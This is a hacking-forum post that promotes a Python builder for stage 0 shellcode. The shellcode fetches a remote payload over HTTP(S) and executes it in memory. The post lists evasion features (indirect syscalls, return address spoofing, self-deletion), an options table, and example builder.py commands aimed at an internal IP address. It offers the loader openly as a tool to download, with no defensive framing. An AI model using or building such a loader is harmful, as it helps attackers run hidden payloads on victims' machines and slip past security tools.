• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

Phyton Download a Remote Payload and Execute it in Memory

dEEpEst

☣☣ In The Depths ☣☣
Staff member
Administrator
Super Moderator
Hacker
Specter
Crawler
Shadow
Joined
Mar 29, 2018
Messages
13,861
Solutions
4
Reputation
32
Reaction score
45,552
Points
1,813
Credits
55,350
‎7 Years of Service‎
 
56%
Stage 0 Shellcode to Download a Remote Payload and Execute it in Memory
The Nt API calls NtAllocateVirtualMemory and NtProtectVirtualMemory are made using indirect syscalls.
LoadLibraryA and WinHTTP calls are performed with return address spoofing.
When the shellcode is executed in a spoofed thread, the stage 0 self-deletes from memory.

Usage​

OptionDescriptionRequiredDefault Value
-eHttp endpointYes
-uHttp uriYes
-pHttp portYes
-aUser agentNoMozilla/5.0 (Windows NT 10.0; Win64; x64)
-sUse TLSNoEmpty
-vView shellcode at C formatNoEmpty

Example :
  • python3 builder.py -u 10.10.100.121 -u /path/to/shellcode.bin -p 80
  • python3 builder.py -u 10.10.100.121 -u /path/to/shellcode.bin -p 443 -s
  • python3 builder.py -u 10.10.100.121 -u /path/to/shellcode.bin -p 8080 -v

Download:
 
Back
Top